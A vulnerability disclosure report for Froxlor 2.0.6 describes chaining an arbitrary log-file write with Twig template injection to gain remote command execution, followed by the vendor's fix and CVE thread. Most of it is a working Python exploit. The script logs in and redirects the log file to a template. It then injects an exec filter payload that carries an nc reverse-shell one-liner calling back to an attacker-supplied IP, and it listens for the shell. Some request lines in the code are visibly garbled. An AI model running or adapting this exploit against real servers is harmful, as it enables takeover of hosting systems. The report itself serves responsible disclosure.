Froxlor 2.0.6 Remote Command Execution via Arbitrary File Write and Server Side Template Injection in froxlor/froxlor


Reported on

Jan 11th 2023


Froxlor 2.0.6 Stable is suffering from Remote Command Execution that was achieved by chaining two bugs, the first one is an arbitrary file write on the logging feature, which allows an authenticated attacker to point the log file to any writable path even if it was the web server document root itself, which can lead to overwriting a malicious twig template file under the default templates/Froxlor/ templates path.

The malicious template file will be rendered later on and execute the malicious payload.

When the attacker enables the logging on the server and allows the log file type, the attacker can log a lot of actions to that file, one of the actions that can be logged to that malicious file is when the admin user changes his theme for example, and the attacker can change the theme name to a custom Twigtemplate code that will be written to an existed Twig template file, such as footer.html.twig.

After that, the attacker will navigate to any page that will be rendering footer.html.twig and once it's requested, the malicious code will be executed.

One of the examples of the malicious twig templates is {{['id']|filter('exec')}}, this will execute the command id by calling the function exec and passing the value id to it.

The exploit code worked under freshly installed Froxlor running within Ubuntu 20.04 and php8.2.

Proof of Concept


# Exploit Title: Froxlor 2.0.6 - Remote Code Execution
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: N/A
# Vendor Homepage:
# Version: v2.0.6
# Tested on: Ubuntu 20.04 / PHP 8.2

import telnetlib
import requests
import socket
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
from threading import Thread

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print("[~] Usage : ./ url username password ip port")

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()

def login():
    login_info = {
    "loginname": username,
    "password": password,
    "send": "send",
    "dologin": ""
    login_request ="/index.php", login_info, allow_redirects=False)
    login_headers = login_request.headers
    location_header = login_headers["Location"]
    if location_header == "admin_index.php":
        return True
        return False

def change_log_path():
    change_log_path_url = url + "/admin_settings.php?page=overview&part=logging"
    csrf_token_req = request.get(change_log_path_url)
    csrf_token_req_response = csrf_token_req.text
    soup = BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token = (soup.find("meta",  {"name":"csrf-token"})["content"])
    print("[+] Main CSRF token retrieved %s" % csrf_token)

    multipart_data = {

        "logger_enabled": (None, "0"),
        "logger_enabled": (None, "1"),
        "logger_severity": (None, "2"),
        "logger_logtypes[]": (None, "file"),
        "logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/footer.html.twig"),
        "logger_log_cron": (None, "0"),
        "csrf_token": (None, csrf_token),
        "page": (None, "overview"),
        "action": (None, ""),
        "send": (None, "send")
    req =, files=multipart_data)
    response = req.text
    if "The settings have been successfully saved." in response:
        print("[+] Changed log file path!")
        return True
        return False

def inject_template():
    admin_page_path = url + "/admin_index.php"
    csrf_token_req = request.get(admin_page_path)
    csrf_token_req_response = csrf_token_req.text
    soup = BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token = (soup.find("meta",  {"name":"csrf-token"})["content"])
    onliner = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f".format(ip, port)
    payload = "{{['%s']|filter('exec')}}" % onliner
    data = {
        "theme": payload,
        "csrf_token": csrf_token,
        "page": "change_theme",
        "send": "send",
        "dosave": "",
    req =, data, allow_redirects=False)
        location_header = req.headers["Location"]
        if location_header == "admin_index.php":
            print("[+] Injected the payload sucessfully!")
        print("[-] Can't Inject payload :/")
    handler_thread = Thread(target=connection_handler, args=(port,))
    print("[+] Triggering the payload ...")
    req2 = request.get(admin_page_path)

def connection_handler(port):
    print("[+] Listener started on port %s" % port)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", int(port)))
    conn, addr = s.accept()
    print("[+] Connection received from %s" % addr[0])
    t.sock = conn
    print("[+] Heads up, incoming shell!!")

if login():
    print("[+] Successfully Logged in!")
    index_url = url + "/admin_index.php"
    if change_log_path():

    print("[-] Can't login")


An authenticated attacker can achieve a full remote command execution on OS level under the web server user.

We are processing your report and will contact the froxlor team within 24 hours. 3 months ago
Askar modified the report
3 months ago
Michael Kaufmann validated this vulnerability 3 months ago
Askar has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Michael Kaufmann marked this as fixed in 2.0.8 with commit 090cfc 3 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Jan 16th 2023
3 months ago


Hello @d00p,

Could you please share the assigned CVE?

Michael Kaufmann published this vulnerability 3 months ago
2 months ago

It's right here at the top of the report: CVE-2023-0315

to join this conversation